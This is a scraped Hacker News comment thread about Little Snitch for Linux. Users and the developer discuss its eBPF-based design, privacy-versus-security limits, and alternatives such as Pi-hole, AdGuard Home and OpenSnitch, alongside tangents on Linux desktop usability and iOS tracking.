[0] e.g. they'll lament "there is no way the developer would allow that sort of leak/behavior!" Their denial is a helluvadrug
[1] I had a 5-user site license, IIRC. Shortly after purchasing, I discovered above leakage so stopped using entirely [v3 user 33TEWP20B0-724KY-5XE522FEAC [2]]
[2] Go ahead and blacklist/cancel the above registration (it's a manyyearsold version, barely used) – my current mailing address is in my user profile (no longer use email/phone). Would love to help/feedback to make your product better. Would also love a refund (all these years later, on principle)
[3] e.g: <https://news.ycombinator.com/item?id=35363343> (/hn/2023)
What is it, then?
I guess what I'd really like is a middleware box or something that I could put on my home network, but would then still give the same user experience as the normal app. I don't want to have to log into some web interface and manually add firewall rules after I find something not working. I like the pop-ups that tell you exactly when you're trying to do something that is blocked, and allow you to either add a rule or not.
I'm probably straddling some gray area between consumer-focused and enterprise-focused feature sets, but it would be neat.
This is solvable to some degree but requires varying degrees of new complexity depending how smooth of a user experience you’re aiming for.
Long story you didn't ask for. Like I said, I haven't used Little Snitch in a while. I'll give this a whirl this weekend. What I have done over the past few years is run AdGuard Home on a min home server. This has helped keep ads undercontrol in our hoursehold and I have an easy "turn off adguard for 10 mins" in homeassistant for the wife so she can do some shopping online since it can occasionally break some sites, but overall they tolerate adguard and think it's a good middle ground. I have a few block lists, nothing too crazy or strict to avoid breaking most sites. On the desktops/laptops, they all run FireFox w uBlock origin.
https://news.ycombinator.com/item?id=29761978
Portmaster – Open-source network monitor and firewall [315 points | 113 comments]
https://news.ycombinator.com/item?id=23539687
Show HN: Block trackers system-wide on Linux/Windows, a Pi-hole “to go” alt
[6 points by davegson on June 16, 2020 | 2 comments]
Little Snitch for Linux, on the other hand, is much less complex and tries to analyze and filter based on DNS names, not IP addresses where possible. It is not made for security, but rather to provide insight for the curious what's going on. It hooks into the kernel via eBPF, not iptables.
https://news.ycombinator.com/item?id=35363343
> Little Snitch for Linux is not a security tool.
Maybe not?
> Its focus is privacy:
Or maybe yes?
The Linux version is limited in complexity. It has to decide immediately. This has the consequence that no packet leaves the machine if the connection is denied, but on the other hand it means that it's easier to trick. The macOS version can inspect the first packet sent (deep packet inspection) to find the remote host name in TLS headers. The Linux version relies on heuristics: The most recent lookup seen which returned the IP address determines the name. This part is Open Source and you can inspect the algorithm.
I thought it would be easier to do DPI on Linux than macOS. No???
For example, I have Steam installed on my Macbook pro and I occasionally play a single very simple game there. Does that make me a macOS gamer? of course not. The vast majority of games I want to play don't work on macOS.
I suspect that most of those 5% are just Linux users who have steam installed and play a small amount of games. Some probably just installed it to check what's available and don't play anything.
Everyone I know who is a "serious" gamer, as in exited about upcoming releases of AAA games is using Windows.
I definitely don't think it's even the likely outcome, but for Linux to get serious traction this is how it has to start: power users but not the traditional developer crowd start actually moving, and in doing so produce the guides, experience, word of mouth, and motivation that normal people need to do so, alongside the institutional support from Valve to actually fix the bugs and issues.
It remains to be seen if a critical mass will find it usable long-term, but if it were to happen, this is how it would look at the start, and Microsoft are certainly doing their best to push people away right now, although I suspect the real winner is more likely to be Apple with the Macbook Neo sucking up more of the lower end.
According to a speculative blog post by Eric S. Raymond in September 2020, Microsoft is literally moving towards replacing Windows' internals with Linux. Unfortunately, that post is now unreachable, but searching for "eric raymond article about windows being replaced with a linux kernel" finds many third-party references to it and summaries of it.
> ## Accelerating Change [One School]
>
> Our intuitions about change are linear; we expect roughly
> as much change as has occurred in the past over our own
> lifetimes. But technological change feeds on itself, and
> therefore accelerates. Change today is faster than it was
> 500 years ago, which in turn is faster than it was 5000
> years ago. Our recent past is not a reliable guide to how
> much change we should expect in the future.
>
> Strong claim: Technological change follows smooth curves,
> typically exponential. Therefore we can predict with fair
> precision when new technologies will arrive, and when they
> will cross key thresholds, like the creation of [AI].
>
> Advocates: Ray Kurzweil, Alvin Toffler(?), John Smart
https://www.yudkowsky.net/singularity/schoolsBut you're right, I guess for some people, there will already be a good reason not to use Linux.
For whom? Average desktop users? Average users don't know what LittleSnitch is, let alone calling it "popular software."
So for whom?
Unfortunately there are no standards for OS to talk to WiFi devices like exist for many other types of hardware, so it’s not possible to make generic drivers.
* Laptop battery life. Still in the "it's fine; I get 5 hours!" stage.
* Wayland & graphics. It's still a mess. Getting there though. Probably will be ok in about 5 years I'd guess.
* RAM management. I don't know why nobody cares about this but when Mac or Windows run low of RAM I don't even notice. With Linux it either hard freezes and reboots, or hard freezes for like 5 minutes and then kills a completely random program. How is that ok? My solution here was to upgrade both my computers to 128 GB of RAM, but that isn't really a viable option today!
* Generally bugginess. Both KDE and Gnome are just not as rock solid as Windows 11. I know I'll get downvoted for this but I haven't experienced a single crash on Windows 11 (and no ads or bloatware because I did research and used the LTSC edition). In KDE, much as I love it, the taskbar crashes regularly and I cannot make head nor tail of the completely random order it wants to put windows in. You can't even drag them into a sensible order. Gnome was not much better.
Still KDE is a lot better now than it was in the kidney bean days so I reckon in another 5 years it will probably be pretty solid too.
Not on ARM, though! Getting 8-10h here easily.
> * RAM management
Agreed, since I switched to Linux, I am getting regular OOM on my 16GB laptop.
Fwiw, when I had a 16GB Linux laptop I upgraded it to 32GB, enabled zram and a ton of swap. That improved things a bit (but didn't completely solve the issue).
[0] https://store.steampowered.com/hwsurvey/steam-hardware-softw...
I think AI also makes it easier to deal with issues that come up.
This is why DoH makes me nervous. Once the embedded ad engines(cough smart tv's) figure it out, we will no longer be able to mitm our dns services. Or to put it more plainly pi-hole will stop working. An open question, Any good way to block DoH? Or are heuristics the only answer?
An unenforceable option would be to set up an independent youtube frontend. https://invidious.io/
My opinion on shorts is a little more generous, sure they are generally brain-cell destroying bottom of the barrel clickbait nonsense. But that can also be said about most of the rest of youtube. What I hate specifically is the shorts doom-scrolling interface. It turns out a "short" can still be viewed on the normal interface. So I use a browser extension to turn shorts urls into normal urls.
[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...
https://obdev.at/blog/little-snitch-for-linux/
The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.
-----
If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.
For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.
I think it's still better to make it public and only partially Open Source so that some people can benefit from it. If you don't trust us, that's completely reasonable, just don't install it.
"Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here."
Is this a limitation of the eBPF implementation? Pardon my ignorance, I'm genuinely curious about this.
That's not only a weakness, it's also a strength of eBPF. This way it can provide security and safety guarantees on the code loaded into the kernel.
I always thought that ugly UIs on Linux are because of good designers do not intersect well with programming enthusiasts.
But looking how ugly same app looks on Linux, I’m starting to think it could be a technical limitation. Can someone elaborate?
Curious who else is working on stuff like this / what other solutions exist that are like "Little Snitch" for agent network + filesystem calls.
Did not know about LittleSnitch, will definitely check it out.
Isn't MacOS just *nix under the hood? Genuinely curious about this difference.
The systems LittleSnitch uses to do packet inspection are very much OS-specific. There's no generic standard for doing high-performance packet inspection. XNU and Linux are *very* different kernels. Linus Torvalds built Linux from scratch as a monolithic kernel because he wanted a Unix-like OS that wasn't encumbered. XNU is based on the Mach microkernel though XNU is a hybrid or monolithic kernel, not a microkernel. The point is, they have very different heritage and very different systems for... well pretty much everything. So "just *nix under the hood" is kind of true but also completely besides the point as far as packet inspection goes. And even then, while there are a lot of similarities between the core system tools of Linux and macOS, they're still quite different and unless you're limiting yourself to POSIX-standard interfaces (which are only a fraction of the system), you're not going to be able to use the same code on both systems.
Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)
I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)
We are working on the issue.
> You can find Little Snitch for Linux here[1]. It is free, and it will stay that way.
I would love to fix this requirement, but have not found a way yet.
On Linux, we intercept at a level where packets already have an Ethernet header. I hope that Paqet injects before* this layer, but only a test can give the proof.
A recent example, but not the only is a Iran a botnet, using this to get around detection.
https://cybersecuritynews.com/iran-linked-botnet-exposed-aft...
TL;DR it's closed source and there's open source alternatives.
Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.
They are still restricting iCloud Private Relay to Safari for the most part. iOS is really wanting for privacy improvements to close the gap between marketing and reality.
Fun fact: iOS lets developers spy on when you _dismiss_ notifications:
https://developer.apple.com/documentation/usernotifications/...
Ever instantly angry-swipe-to-clear a DM notification soon as it hits your lockscreen from someone who upset you? Zuck knew y'all had beef.
Clear notifications before bed and in the morning? All those companies could know a bit more about your routine than you would've otherwise revealed if weren't in the habit of using those apps at those times.
--
The kinds of tiny things that would be pretty inconsequential on their own but that you figure maybe the Apple tax would help you avoid.
(edited with additions)
Why?
my question is... if the tracking maps fill up completely, does the daemon fail-open or fail-closed?
The DNS lookups, on the other hand, are LRU. If the table overflows too soon, we won't be able to derive names for IP addresses and name-based rules would fail.
really appreciate the honest answer, man. awesome work on this...!
What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.
Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.
pi.hole is primarily billed as an ad blocker, but the fundamental way it works is by applying a curated set of DNS lists that are blocked (commonly telemetry and ad servers), and the admin dashboard which is just a web page (therefore works on all platforms, smartphones included) will do the same thing: it tells you every call that every app on every device on your network is making, and you can approve or deny it. You can curate your own list as well and block servers/connections you don't want on the network.
LS afaik operates in the same area where it's intended to be used for privacy. I guess I could see it being useful for people who don't have admin access to their router, but for people who do have such access I would think the benefits of network-wide DNS monitoring/blocking would outweight the costs of having to configure your router settings.
I would guess that to the extent the blocklists include things that are loaded by applications and not websites, they are almost entirely built by users of something like LittleSnitch or OpenSnitch. This is also entirely doable with wireshark logs, but I think that requires more infrastructure to build into usable lists.
Some telemetry might not be recognized by pi-hole as it is new or has nothing to do with ads.
Little Snitch is intended for per-process, per-connection blocking - for example, you may need, eg, an Instagram uploader app to contact Meta's servers, but an unrelated app should not be able to (and even in the case of the hypothetical IG uploader, you can get very fine grained about the controls - media.facebook.net, not telemetry.facebook.net). In that way, LS does have some advantages over pi.hole in that space - You'd need to set up every single item that you normally get for free from a blocklist, but it gives you much finer control over what's getting blocked and much better visibility into what connections your processes are trying to make.
Again, I don't think Little Snitch is the right answer if you're looking for ad blocking specifically, and if that's the extent of your privacy concerns, pi.hole's a better bet. Little Snitch is a per-application connection monitor and firewall - it _can_ block ads, but that's not its primary purpose.
> The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name.
> And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably.
> That's not an option here.
>
> Source: https://web.archive.org/web/20260409002901/https://obdev.at/products/littlesnitch-linux/index.html
Have you ever checked Calico or Cilium, or at least, Oryx?